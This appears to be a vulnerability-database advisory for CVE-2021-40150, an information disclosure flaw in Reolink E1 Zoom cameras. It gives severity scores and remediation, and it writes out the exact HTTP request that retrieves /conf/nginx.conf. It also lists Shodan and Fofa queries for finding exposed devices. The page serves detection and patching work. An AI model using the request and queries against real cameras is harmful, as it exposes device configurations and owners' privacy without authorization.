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CVE-2021-40150: Reolink E1 Zoom Camera <=3.0.0.716 - Information Disclosure

TitleReolink E1 Zoom Camera <=3.0.0.716 - Information Disclosure
AuthorFor3stCo1d
SeverityHigh
ImpactAn attacker can exploit this vulnerability to gain access to sensitive information, potentially compromising user privacy and security.
RemediationUpgrade the Reolink E1 Zoom Camera to a version higher than 3.0.0.716 to mitigate the information disclosure vulnerability (CVE-2021-40150).
CVSS Score7.5
EPSS Score0.34226
CVE IDCVE-2021-40150
CWE IDCWE-552
Shodan Queryhttp.title:"Reolink"http.title:"reolink"
Fofa Querytitle="reolink"
Tags cve2021 cve reolink camera exposure iot vuln

🔍 Vulnerability Description

Reolink E1 Zoom camera through 3.0.0.716 is susceptible to information disclosure. The web server discloses its configuration via the /conf/ directory that is mapped to a publicly accessible path. An attacker with network-level access to the camera can can download the entire NGINX/FastCGI configurations by querying the /conf/nginx.conf or /conf/fastcgi.conf URI.

🌐 HTTP Request

GET /conf/nginx.conf HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40150.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-40150.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A